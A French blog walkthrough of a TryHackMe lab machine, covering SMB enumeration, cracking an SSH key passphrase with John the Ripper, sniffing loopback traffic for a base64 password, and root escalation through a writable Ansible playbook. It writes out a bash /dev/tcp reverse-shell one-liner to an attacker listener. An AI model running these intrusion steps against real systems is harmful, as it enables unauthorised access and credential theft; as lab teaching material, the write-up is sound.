Commande :
nmap -T5 -p- -sVC 10.10.196.56
Il y a pas mal de ports ouverts intéressants, notamment le port FTP (21) et SMB (139,445).
On va commencer par le plus simple à priori, le service ftp. On peut y accèder sans mot de passe avec le compte ftp ou anonymous
Commande :
ftp 10.10.196.56
Il n’y a rien d’intéressant sur le serveur FTP…
Il est possible d’énumérer manuellement les ports 139 et 445 avec les outils smbget, smbclient, smbmap mais il est aussi possible de le faire de manière plus automatique avec enum4linux.
Commande :
enum4linux 10.10.196.56
On obtient ainsi facilement des informations concernant les partages présents ainsi que certains noms d’utilisateurs.
L’accès au partage est ouvert en lecture à tout le monde. Il y a beaucoup de dossiers, sous dossier et fichier à l’intérieur du partage. Il existe plusieurs techniques pour extraire toutes ses données.
Commande :
smbclient « //10.10.196.56/temporary share »
(Ne pas oublier les doubles quotes pour ne pas être bloqué par l’espace entre temporary et share.)
En 1ier lieu, on va extraire le fichier message-to-simeon.txt avec la commande :
mget message-to-simeon.txt
Contenu du message :
Simeon,
Stop messing with your home directory, you are moving files and directories insecurely!
Just make a folder in /opt for your book project…
Also you password is insecure, could you please change it? It is all over the place now!
– Theodore
Il faut lire entre les lignes et comprendre que l’on va probablement devoir cracker un hash. Avant il va falloir trouver ce qu’il faut cracker dans les différents textes que l’on va récupérer dans la foulée.
Commande pour récupérer les divers éléments :
smbget -R « smb://10.10.196.56/temporary share/chapter1 »
Il est possible d’utiliser cette commande pour tous les chapitres, c’est simple et rapide.
Il est aussi possible de le faire avec une boucle, comme ceci :
for i in {1..9}; do smbget -R « smb://10.10.196.56/temporary share/chapter$i »; done
Enfin, il est possible de se connecter au partage et de rencontrer ces différentes commandes :
smb: \> prompt
smb: \> recurse
smb: \> mget *
Il y en a beaucoup. Le plus simple est d’aller à l’essentielle. On va ouvrir l’arborescence avec sublime Text.
Commande :
subl .
Dans le paragraph7.1 text2 on trouve une clé ssh.
Il faut la copier dans un fichier texte pour ensuite la cracker avec JohnTheRipper.
Pourquoi ?
Elle est en fait protégée par une passphrase. On peut le voir grâce à cette mention Proc-Type: 4,ENCRYPTED
Commande :
ssh2john id_rsa > id_rsa.hash
john id_rsa.hash -wordlist=/usr/share/wordlists/rockyou.txt
On a la passphrase et la clé privée SSHde Simeon. Il n’y a plus qu’à se connecter en SSH.
Commande :
ssh simeon@10.10.196.56 -i id_rsa
Une fois connecté, linpeas ( qu’il faut uploader sur la machine ) nous indique qu’il est possible d’écouter le trafic.
Ce qui correspond aussi au hint pcap que l’on peut voir sur tryhackme.
On va écouter le trafic sur lo. ( Sur eth1, il y a beaucoup trop de trafic généré par notre propre connexion SSH.)
Commande :
tcpdump -i lo
On note qu’il y a une connexion http GET vers /test-auth/index.html. En revanche, on ne voit le contenu de la requête. On va donc à nouveau faire une capture, en l’enregistrement cette fois-ci, au format pcap.
Commande :
tcpdump -i lo -w cap.pcap
Il faut attendre au moins 2 minutes ( pour avoir 1 minute pleine ). Il y a en fait une tâche planifiée qui tourne toute les minutes pour être sûr de capture la trafic qui va bien.
Pas de possibilité d’extraire vers Kali le fichier pcap.
Je n’ai pas réussi à le faire. Du coup il faut l’ouvrir et le fichier n’est pas très lisible. Mais en y regardant de plus près, on voit qu’il y a une connexion et aussi une authentification encodé en base64.
Le mot de passe une fois décodé permet d’accèder au compte de Theodore avec cette commande :
su theodore
Dans le dossier /opt il y a deux dossiers ansible et script.
Contenu du script infra_as_code.sh
On ne peut faire qu’une seule chose pour accèder au compte root. Il faut modifier le fichier setup-RedHat.yml. En effet, le script infra_as_code.sh n’est pas modifiable, il n’est pas possible de faire une path injection, on ne peut pas modifier quelque que fichier que ce soit. Uniquement le fichier setup-RedHat.yml.
Pour arriver à savoir pourquoi ce fichier, il faut d’abord faire sudo -l.
Commande :
sudo -u automation /opt/scripts/infra_as_code.sh
Comme le montre la capture suivante, il y a un événement concernant setup-RedHat.yml.
Et il est possible de modifier ce fichier .yml. Il y a un « + » à la fin des droits -rw-rw-r–+
Il faut modifier la ligne command de ensure httpd certs… . C’est la dernière partie du fichier yml. Il faut aussi supprimer la ligne when sinon le reverse shell ne sera pas exécuté.
Une fois la modification effectuée, il faut relancer le script
Commande :
sudo -u automation /opt/scripts/infra_as_code.sh
Récupération du reverse shell sur l’écouteur netcat.
Il est possible que la commande bash -i >& /dev/tcp/10.11.38.124/1234 0>&1 ne fonctionne pas. Dans ce cas, il est possible d’attribuer un SUID a bash avec cette commande :
That’s all folks
Merci d’avoir pris la peine de venir sur le site de lire ce Write Up
J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.
N’hésitez pas à laisse un commentaire ou à partager cet article.